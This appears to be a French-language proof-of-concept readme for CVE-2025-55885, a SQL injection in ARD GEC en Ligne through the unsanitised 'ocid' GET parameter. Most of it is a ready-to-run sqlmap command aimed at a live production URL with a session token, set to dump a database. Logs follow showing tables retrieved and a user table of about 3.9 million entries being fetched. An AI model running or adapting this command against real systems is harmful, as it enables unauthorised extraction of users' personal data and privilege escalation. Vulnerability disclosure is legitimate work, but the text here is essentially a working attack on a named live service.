0xzerosec/cve-2025-55885Preuve de concept pour CVE-2025-55885 : injection SQL dans ARD GEC en Ligne via un paramètre GET non assaini, permettant une escalade de privilèges à distance et l'extraction de la base de données.
Vulnérabilité d'injection SQL dans Alpes Recherche et Developpement ARD GEC en Ligne avant la version 2025-04-23 permet à un attaquant distant d'élever ses privilèges via les paramètres GET dans index.php
Injection SQL via le paramètre GET non assaini ocid sur https://services.ard.fr/index.php (page de confirmation de transaction).
Charge utile
sqlmap -u "https://services.ard.fr/index.php?id=5869&ocid=183&token=1SemPugSUq3maSpK81871559797854161&transactionID=123" -p "ocid" --dbms=mysql -D ard-T [TABLE] --dump
Liste des tables
[18:36:46] [INFO] retrieved: [redacted]
[18:37:15] [INFO] retrieved: [redacted]
[18:37:27] [INFO] retrieved: [redacted]
[18:37:39] [INFO] retrieved: [redacted]
[18:37:58] [INFO] retrieved: [redacted]
[18:38:15] [INFO] retrieved: [redacted]
[18:38:27] [INFO] retrieved: [redacted]
[18:38:59] [INFO] retrieved: [redacted]
[18:39:09] [INFO] retrieved: [redacted]
[18:39:30] [INFO] retrieved: [redacted]
[18:39:51] [INFO] retrieved: [redacted]
[18:40:03] [INFO] retrieved: [redacted]
[18:40:18] [INFO] retrieved: [redacted]
[18:40:35] [INFO] retrieved: [redacted]
[18:41:02] [INFO] retrieved: [redacted]
[18:41:48] [INFO] retrieved: [redacted]
[18:42:06] [INFO] retrieved: [redacted]
[18:42:23] [INFO] retrieved: [redacted]
[18:42:44] [INFO] retrieved: [redacted]
[18:43:04] [INFO] retrieved: [redacted]
[18:43:25] [INFO] retrieved: [redacted]
[18:44:01] [INFO] retrieved: [redacted]
[18:44:20] [INFO] retrieved: [redacted]
[18:44:40] [INFO] retrieved: [redacted]
[18:45:01] [INFO] retrieved: [redacted]
[18:45:13] [INFO] retrieved: [redacted]
[18:45:36] [INFO] retrieved: [redacted]
[18:45:54] [INFO] retrieved: [redacted]
[18:46:31] [INFO] retrieved: [redacted]
[18:46:56] [INFO] retrieved: [redacted]
[18:47:02] [INFO] retrieved: [redacted]
[18:47:13] [INFO] retrieved: [redacted]
[18:47:34] [INFO] retrieved: [redacted]
[18:47:58] [INFO] retrieved: [redacted]
[18:48:21] [INFO] retrieved: [redacted]
[19:45:51] [INFO] fetching entries for table '[user table]' in database 'ard'
[19:45:51] [INFO] fetching number of entries for table '[user table]' in database 'ard'
[19:45:51] [INFO] retrieved: 3904699